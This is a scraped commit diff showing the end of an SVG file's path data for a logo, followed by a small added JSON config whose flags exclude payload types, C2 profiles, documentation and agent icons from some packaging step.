<path d="M3465 2526 c-22 -16 -25 -67 -5 -91 9 -11 26 -15 53 -13 56 4 60 25
5 24 -43 -1 -43 -1 -43 34 0 34 1 35 38 35 23 0 37 5 37 13 0 16 -61 16 -85
-2z"/>
<path d="M3647 2480 c-18 -43 -22 -60 -12 -60 7 0 15 7 19 15 8 21 53 19 65
-2 5 -10 12 -15 16 -12 8 8 -41 119 -53 119 -5 0 -20 -27 -35 -60z m42 -9
c-15 -5 -22 6 -14 19 6 9 10 9 16 -1 5 -8 4 -15 -2 -18z"/>
<path d="M3810 2531 c0 -6 14 -11 31 -13 l31 -3 -37 -47 -36 -48 56 0 c30 0
55 5 55 10 0 6 -16 10 -36 10 l-36 0 29 38 c49 62 49 62 -6 62 -28 0 -51 -4
-51 -9z"/>
<path d="M3997 2480 c-18 -43 -22 -60 -12 -60 7 0 15 7 19 15 7 20 46 19 62
-2 7 -10 15 -15 18 -12 8 8 -41 119 -52 119 -5 0 -20 -27 -35 -60z m43 5 c0
-8 -4 -15 -10 -15 -5 0 -10 7 -10 15 0 8 5 15 10 15 6 0 10 -7 10 -15z"/>
<path d="M4160 2480 l0 -60 40 0 c22 0 40 5 40 10 0 6 -13 10 -30 10 -29 0
-30 1 -30 50 0 28 -4 50 -10 50 -6 0 -10 -27 -10 -60z"/>
<path d="M4310 2480 l0 -60 35 0 c19 0 35 5 35 10 0 6 -11 10 -25 10 -23 0
-25 3 -25 50 0 28 -4 50 -10 50 -6 0 -10 -27 -10 -60z"/>
<path d="M4474 2503 c-31 -74 -34 -83 -23 -83 5 0 12 7 15 15 8 21 54 19 70
-2 7 -10 15 -16 18 -13 7 8 -45 120 -55 120 -5 0 -16 -17 -25 -37z m36 -18 c0
-8 -4 -15 -10 -15 -5 0 -10 7 -10 15 0 8 5 15 10 15 6 0 10 -7 10 -15z"/>
<path d="M3320 2485 c0 -9 5 -15 11 -13 6 2 11 8 11 13 0 5 -5 11 -11 13 -6 2
-11 -4 -11 -13z"/>
<path d="M4660 2485 c0 -9 5 -15 11 -13 6 2 11 8 11 13 0 5 -5 11 -11 13 -6 2
-11 -4 -11 -13z"/>
<path d="M3585 2340 c17 -4 206 -8 420 -8 215 0 404 4 420 8 17 4 -172 8 -420
8 -247 0 -436 -4 -420 -8z"/>
<path d="M3841 1645 c1 -30 4 -55 8 -55 3 0 14 19 23 41 14 33 14 38 3 29 -13
-10 -15 -8 -15 14 0 14 -4 26 -10 26 -6 0 -9 -24 -9 -55z"/>
<path d="M3976 1686 c3 -8 -3 -16 -16 -19 -17 -4 -21 -12 -18 -39 2 -25 8 -34
26 -36 21 -3 22 0 22 52 0 31 -4 56 -10 56 -5 0 -7 -6 -4 -14z m-4 -78 c-15
-15 -27 14 -17 40 6 15 8 15 18 -6 7 -16 7 -26 -1 -34z"/>
<path d="M4140 1645 c0 -30 4 -55 10 -55 5 0 7 7 4 15 -4 8 -1 15 5 15 6 0 11
-7 11 -15 0 -8 5 -15 10 -15 7 0 7 6 0 20 -8 14 -8 26 0 40 7 14 7 20 0 20 -5
0 -10 -4 -10 -10 0 -5 -4 -10 -9 -10 -4 0 -6 11 -3 25 2 15 0 25 -7 25 -7 0
-11 -21 -11 -55z"/>
<path d="M3535 1640 c4 -19 12 -39 17 -45 7 -7 8 2 3 25 -4 19 -12 40 -17 45
-7 7 -8 -2 -3 -25z"/>
<path d="M3567 1656 c-10 -25 -9 -38 3 -31 6 3 10 -3 10 -14 0 -35 17 -23 28
19 5 22 6 40 2 40 -5 0 -10 -10 -13 -22 l-4 -23 -10 24 c-8 21 -11 22 -16 7z"/>
<path d="M3631 1655 c-1 -29 10 -65 20 -65 5 0 9 9 9 20 0 11 -4 20 -9 20 -5
0 -12 10 -14 23 -4 19 -4 19 -6 2z"/>
<path d="M3660 1657 c0 -17 23 -67 31 -67 7 0 20 53 18 74 0 6 -5 0 -11 -14
-11 -25 -11 -25 -15 -2 -5 23 -23 31 -23 9z"/>
<path d="M3723 1654 c3 -11 9 -30 12 -43 l7 -24 13 23 12 22 7 -23 c5 -19 8
-21 15 -9 15 26 23 72 11 65 -5 -3 -10 -16 -11 -28 -1 -20 -2 -19 -13 6 l-12
27 -11 -27 c-10 -25 -11 -26 -12 -6 -1 12 -6 25 -12 29 -7 4 -9 0 -6 -12z"/>
<path d="M3900 1628 c0 -21 5 -38 10 -38 6 0 10 11 10 24 0 13 2 31 5 39 4 8
0 14 -10 14 -11 0 -15 -11 -15 -39z"/>
<path d="M4008 1630 c-2 -22 0 -40 4 -40 5 0 8 13 8 28 0 15 5 33 12 40 9 9 8
12 -4 12 -11 0 -17 -12 -20 -40z"/>
<path d="M4053 1630 c0 -25 2 -35 4 -22 2 12 2 32 0 45 -2 12 -4 2 -4 -23z"/>
<path d="M4081 1628 c2 -34 3 -37 6 -13 7 46 23 55 23 12 0 -20 4 -37 9 -37 5
0 8 15 7 33 -4 47 -4 47 -26 47 -17 0 -20 -6 -19 -42z"/>
<path d="M4204 1655 c-4 -8 0 -22 7 -31 10 -13 10 -17 -2 -25 -12 -7 -11 -9 3
-9 23 0 28 22 10 43 -14 16 -14 19 -2 27 11 7 11 10 2 10 -7 0 -15 -7 -18 -15z"/>
<path d="M4280 1655 c-17 -20 -4 -65 18 -64 10 0 12 3 5 6 -19 7 -16 50 5 62
15 9 15 10 1 11 -9 0 -22 -7 -29 -15z"/>
<path d="M4330 1655 c-17 -21 -4 -67 18 -63 12 2 17 13 17 37 0 38 -15 50 -35
26z m30 -31 c0 -13 -4 -24 -10 -24 -5 0 -10 14 -10 31 0 17 4 28 10 24 6 -3
10 -17 10 -31z"/>
<path d="M4391 1628 c2 -34 3 -37 6 -13 7 46 23 55 23 12 0 -20 5 -37 10 -37
6 0 10 16 10 35 0 45 18 45 23 0 l4 -35 -1 37 c-1 36 -3 38 -38 41 l-38 2 1
-42z"/>
<path d="M3870 1611 c0 -5 5 -13 10 -16 6 -3 10 -2 10 4 0 5 -4 13 -10 16 -5
3 -10 2 -10 -4z"/>
<path d="M3815 1600 c-3 -5 -1 -10 4 -10 6 0 11 5 11 10 0 6 -2 10 -4 10 -3 0
-8 -4 -11 -10z"/>
<path d="M3611 1392 c-14 -27 -11 -64 6 -70 19 -6 27 25 16 61 -9 32 -9 32
-22 9z m19 -37 c0 -14 -4 -25 -10 -25 -5 0 -10 11 -10 25 0 14 5 25 10 25 6 0
10 -11 10 -25z"/>
<path d="M4247 1394 c-4 -4 -7 -22 -7 -41 0 -40 26 -46 36 -7 7 26 -15 62 -29
48z m10 -51 c-3 -10 -5 -4 -5 12 0 17 2 24 5 18 2 -7 2 -21 0 -30z"/>
<path d="M3532 1355 c0 -19 4 -35 9 -35 8 0 14 23 10 44 -1 5 4 13 11 17 9 6
7 9 -8 9 -18 0 -22 -6 -22 -35z"/>
<path d="M3681 1353 c0 -21 3 -32 6 -24 4 10 7 11 13 1 5 -8 8 2 8 24 0 24 -5
36 -14 36 -10 0 -14 -12 -13 -37z"/>
<path d="M3750 1357 c0 -26 4 -32 23 -33 20 -1 22 2 19 30 -3 23 -9 32 -23 33
-15 1 -19 -5 -19 -30z"/>
<path d="M3832 1358 c4 -47 32 -45 35 2 l1 35 -7 -35 c-6 -28 -9 -31 -15 -17
-5 9 -6 24 -2 32 3 8 1 15 -5 15 -6 0 -9 -15 -7 -32z"/>
<path d="M3905 1355 c0 -29 4 -35 20 -34 11 0 14 3 8 6 -7 2 -13 18 -13 34 0
16 -3 29 -7 29 -5 0 -8 -16 -8 -35z"/>
<path d="M3976 1358 c-3 -17 -4 -33 -1 -36 3 -3 5 1 5 9 0 12 2 12 10 -1 13
-21 18 -10 13 28 -7 41 -19 41 -27 0z"/>
<path d="M4090 1355 c0 -42 10 -45 28 -8 16 37 15 43 -8 43 -16 0 -20 -7 -20
-35z"/>
<path d="M4170 1357 c0 -22 5 -34 14 -34 9 0 14 12 14 34 0 22 -5 33 -14 33
-9 0 -14 -11 -14 -33z"/>
<path d="M4310 1355 c0 -42 10 -45 27 -9 14 30 9 44 -13 44 -9 0 -14 -11 -14
-35z"/>
<path d="M4380 1355 c0 -19 5 -35 10 -35 6 0 10 16 10 35 0 19 -4 35 -10 35
-5 0 -10 -16 -10 -35z"/>
<path d="M4444 1355 c-6 -19 -7 -35 -3 -35 5 0 9 6 9 13 0 8 4 7 10 -3 8 -12
10 -12 9 5 0 11 -4 28 -7 37 -6 14 -10 10 -18 -17z"/>
<path d="M5100 990 c-7 -4 -9 -13 -6 -19 4 -6 2 -11 -5 -11 -7 0 -10 -2 -7 -5
8 -8 58 13 58 24 0 13 -25 20 -40 11z"/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 16 KiB

+7
View File
@@ -0,0 +1,7 @@
{
"exclude_payload_type": false,
"exclude_c2_profiles": true,
"exclude_documentation_payload": true,
"exclude_documentation_c2": true,
"exclude_agent_icons": false
}